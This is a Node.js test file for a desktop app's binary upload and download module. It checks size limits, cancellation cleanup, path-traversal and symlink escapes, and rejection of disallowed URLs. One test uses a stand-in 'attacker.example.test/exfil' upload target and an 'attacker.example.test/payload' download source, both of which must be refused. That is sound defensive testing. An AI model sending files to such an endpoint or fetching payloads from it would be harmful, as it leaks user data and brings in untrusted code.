Files
openwork/apps/desktop/electron/binary-transfer.test.mjs
T

329 lines
12 KiB
JavaScript

import assert from "node:assert/strict";
import { mkdtemp, mkdir, readFile, readdir, rm, symlink } from "node:fs/promises";
import os from "node:os";
import path from "node:path";
import test from "node:test";
import {
DESKTOP_TRANSFER_MAX_BYTES,
downloadBinaryToPath,
uploadMultipartFromBytes,
} from "./binary-transfer.mjs";
const allowedUrlPrefixes = ["https://worker.example.test"];
async function withWorkspace(run) {
const base = await mkdtemp(path.join(os.tmpdir(), "openwork-binary-transfer-"));
const root = path.join(base, "root");
const stagingDir = path.join(base, "staging");
await mkdir(root, { recursive: true });
try {
await run(root, stagingDir);
} finally {
await rm(base, { recursive: true, force: true });
}
}
function remoteResponse(bytes, init = {}) {
return new Response(bytes, { status: 200, headers: init.headers });
}
function matchesError(error, code, messagePattern) {
return error instanceof Error
&& Reflect.get(error, "code") === code
&& (!messagePattern || messagePattern.test(error.message));
}
test("uploads exact original multipart bytes with spaces and Unicode in the filename", async () => {
await withWorkspace(async () => {
const filename = "résumé image 你好.bin";
const original = Uint8Array.from([0, 1, 2, 127, 128, 200, 254, 255]);
const result = await uploadMultipartFromBytes({
url: "https://worker.example.test/inbox",
bytes: original.slice().buffer,
filename,
size: original.byteLength,
contentType: "application/octet-stream",
fields: { path: `uploads/${filename}` },
headers: { Authorization: "Bearer test" },
}, {
allowedUrlPrefixes,
fetcher: async (url, init) => {
assert.equal(init.redirect, "error");
const request = new Request(url, init);
const form = await request.formData();
const file = form.get("file");
assert.ok(file instanceof Blob);
assert.deepEqual(new Uint8Array(await file.arrayBuffer()), original);
assert.equal(file.name, filename);
assert.equal(form.get("path"), `uploads/${filename}`);
assert.equal(request.headers.get("authorization"), "Bearer test");
return Response.json({ ok: true });
},
});
assert.equal(result.status, 200);
assert.equal(result.body, '{"ok":true}');
});
});
test("downloads high bytes exactly through a verified destination handle with no stray files", async () => {
await withWorkspace(async (root, stagingDir) => {
const destinationPath = path.join(root, "資料 high bytes.bin");
const original = Uint8Array.from([255, 254, 253, 0, 128, 129, 200, 10]);
const options = {
authorizedRoots: [root],
allowedUrlPrefixes,
stagingDir,
fetcher: async (url, init) => {
assert.equal(init.redirect, "error");
return remoteResponse(original, {
headers: { "content-type": "application/octet-stream" },
});
},
};
const result = await downloadBinaryToPath({
url: "https://worker.example.test/files/raw",
destinationPath,
}, options);
assert.equal(result.path, destinationPath);
assert.equal(result.bytes, original.byteLength);
assert.deepEqual(new Uint8Array(await readFile(destinationPath)), original);
assert.deepEqual(await readdir(path.dirname(destinationPath)), [path.basename(destinationPath)]);
assert.deepEqual(await readdir(stagingDir), []);
await assert.rejects(
downloadBinaryToPath({
url: "https://worker.example.test/files/raw",
destinationPath,
}, options),
(error) => matchesError(error, "destination-exists", /already exists/i),
);
assert.deepEqual(new Uint8Array(await readFile(destinationPath)), original);
});
});
test("rejects zero-byte, oversized, and size-mismatched uploads with clear error codes", async () => {
await withWorkspace(async () => {
const options = { allowedUrlPrefixes, fetcher: async () => Response.json({}) };
await assert.rejects(
uploadMultipartFromBytes({
url: "https://worker.example.test/inbox",
bytes: new ArrayBuffer(0),
filename: "empty.bin",
size: 0,
}, options),
(error) => matchesError(error, "zero-byte-file", /greater than zero/i),
);
await assert.rejects(
uploadMultipartFromBytes({
url: "https://worker.example.test/inbox",
bytes: Uint8Array.from([1]).buffer,
filename: "small.bin",
size: DESKTOP_TRANSFER_MAX_BYTES + 1,
}, options),
(error) => matchesError(error, "file-too-large", /limit/i),
);
await assert.rejects(
uploadMultipartFromBytes({
url: "https://worker.example.test/inbox",
bytes: Uint8Array.from([1, 2, 3]).buffer,
filename: "short.bin",
size: 4,
}, options),
(error) => matchesError(error, "size-mismatch", /expected 4 bytes/i),
);
});
});
test("rejects zero-byte and oversized downloads without leaving partial files", async () => {
await withWorkspace(async (root, stagingDir) => {
const zeroDestination = path.join(root, "zero.bin");
await assert.rejects(
downloadBinaryToPath({
url: "https://worker.example.test/file",
destinationPath: zeroDestination,
}, { authorizedRoots: [root], allowedUrlPrefixes, stagingDir, fetcher: async () => remoteResponse(new Uint8Array()) }),
(error) => matchesError(error, "zero-byte-file", /empty/i),
);
await assert.rejects(readFile(zeroDestination), { code: "ENOENT" });
const largeDestination = path.join(root, "large.bin");
await assert.rejects(
downloadBinaryToPath({
url: "https://worker.example.test/file",
destinationPath: largeDestination,
maxBytes: 3,
}, { authorizedRoots: [root], allowedUrlPrefixes, stagingDir, fetcher: async () => remoteResponse(Uint8Array.from([1, 2, 3, 4])) }),
(error) => matchesError(error, "file-too-large", /limit/i),
);
await assert.rejects(readFile(largeDestination), { code: "ENOENT" });
assert.deepEqual(await readdir(root), []);
assert.deepEqual(await readdir(stagingDir), []);
});
});
test("cancellation removes the incomplete download", async () => {
await withWorkspace(async (root, stagingDir) => {
const destinationPath = path.join(root, "cancelled.bin");
const controller = new AbortController();
const response = new Response(new ReadableStream({
pull(streamController) {
streamController.enqueue(Uint8Array.from([1, 2, 3]));
controller.abort();
},
}));
await assert.rejects(
downloadBinaryToPath({
url: "https://worker.example.test/file",
destinationPath,
}, { authorizedRoots: [root], allowedUrlPrefixes, stagingDir, fetcher: async () => response, signal: controller.signal }),
(error) => error instanceof Error && error.name === "AbortError",
);
await assert.rejects(readFile(destinationPath), { code: "ENOENT" });
assert.deepEqual(await readdir(root), []);
assert.deepEqual(await readdir(stagingDir), []);
});
});
test("rejects traversal, nested, and symlink download destinations", async () => {
await withWorkspace(async (root, stagingDir) => {
const authorizedRoot = path.join(root, "workspace");
const outsideRoot = path.join(root, "outside");
await mkdir(authorizedRoot);
await mkdir(outsideRoot);
const options = {
authorizedRoots: [authorizedRoot],
allowedUrlPrefixes,
stagingDir,
fetcher: async () => remoteResponse(Uint8Array.from([1])),
};
await assert.rejects(
downloadBinaryToPath({
url: "https://worker.example.test/file",
destinationPath: path.join(authorizedRoot, "..", "outside", "escape.bin"),
}, options),
(error) => matchesError(error, "unauthorized-path"),
);
const nestedDirectory = path.join(authorizedRoot, "nested");
await mkdir(nestedDirectory);
await assert.rejects(
downloadBinaryToPath({
url: "https://worker.example.test/file",
destinationPath: path.join(nestedDirectory, "escape.bin"),
}, options),
(error) => matchesError(error, "nested-destination", /directly inside/i),
);
const linkedDirectory = path.join(authorizedRoot, "linked");
await symlink(outsideRoot, linkedDirectory, "dir");
await assert.rejects(
downloadBinaryToPath({
url: "https://worker.example.test/file",
destinationPath: path.join(linkedDirectory, "escape.bin"),
}, options),
(error) => matchesError(error, "nested-destination"),
);
const symlinkDestination = path.join(authorizedRoot, "link.bin");
await symlink(path.join(outsideRoot, "target.bin"), symlinkDestination);
await assert.rejects(
downloadBinaryToPath({
url: "https://worker.example.test/file",
destinationPath: symlinkDestination,
}, options),
(error) => matchesError(error, "symlink-path"),
);
assert.deepEqual(await readdir(outsideRoot), []);
});
});
test("rejects transfer URLs outside connected remote workspace endpoints", async () => {
await withWorkspace(async (root, stagingDir) => {
const upload = (url, prefixes) => uploadMultipartFromBytes({
url,
bytes: Uint8Array.from([100, 97, 116, 97]).buffer,
filename: "leak.bin",
size: 4,
}, {
allowedUrlPrefixes: prefixes,
fetcher: async () => Response.json({ ok: true }),
});
await assert.rejects(
upload("https://attacker.example.test/exfil", allowedUrlPrefixes),
(error) => matchesError(error, "unauthorized-url", /remote workspace/i),
);
await assert.rejects(
upload("https://worker.example.test/inbox", []),
(error) => matchesError(error, "unauthorized-url"),
);
await assert.rejects(
upload("https://worker.example.test/other/inbox", ["https://worker.example.test/workspace/team"]),
(error) => matchesError(error, "unauthorized-url"),
);
const scoped = await upload(
"https://worker.example.test/workspace/team/inbox",
["https://worker.example.test/workspace/team"],
);
assert.equal(scoped.status, 200);
const destinationPath = path.join(root, "payload.bin");
await assert.rejects(
downloadBinaryToPath({
url: "https://attacker.example.test/payload",
destinationPath,
}, {
authorizedRoots: [root],
allowedUrlPrefixes,
stagingDir,
fetcher: async () => remoteResponse(Uint8Array.from([1])),
}),
(error) => matchesError(error, "unauthorized-url"),
);
await assert.rejects(readFile(destinationPath), { code: "ENOENT" });
});
});
test("rejects a download whose workspace root is swapped for a symlink during the fetch", async () => {
await withWorkspace(async (root, stagingDir) => {
const authorizedRoot = path.join(root, "workspace");
const outsideRoot = path.join(root, "outside");
await mkdir(authorizedRoot);
await mkdir(outsideRoot);
const destinationPath = path.join(authorizedRoot, "swapped.bin");
await assert.rejects(
downloadBinaryToPath({
url: "https://worker.example.test/file",
destinationPath,
}, {
authorizedRoots: [authorizedRoot],
allowedUrlPrefixes,
stagingDir,
fetcher: async () => {
await rm(authorizedRoot, { recursive: true, force: true });
await symlink(outsideRoot, authorizedRoot, "dir");
return remoteResponse(Uint8Array.from([1, 2, 3]));
},
}),
(error) => matchesError(error, "symlink-path")
|| matchesError(error, "unauthorized-path")
|| matchesError(error, "path-changed"),
);
assert.deepEqual(await readdir(outsideRoot), []);
assert.deepEqual(await readdir(stagingDir), []);
});
});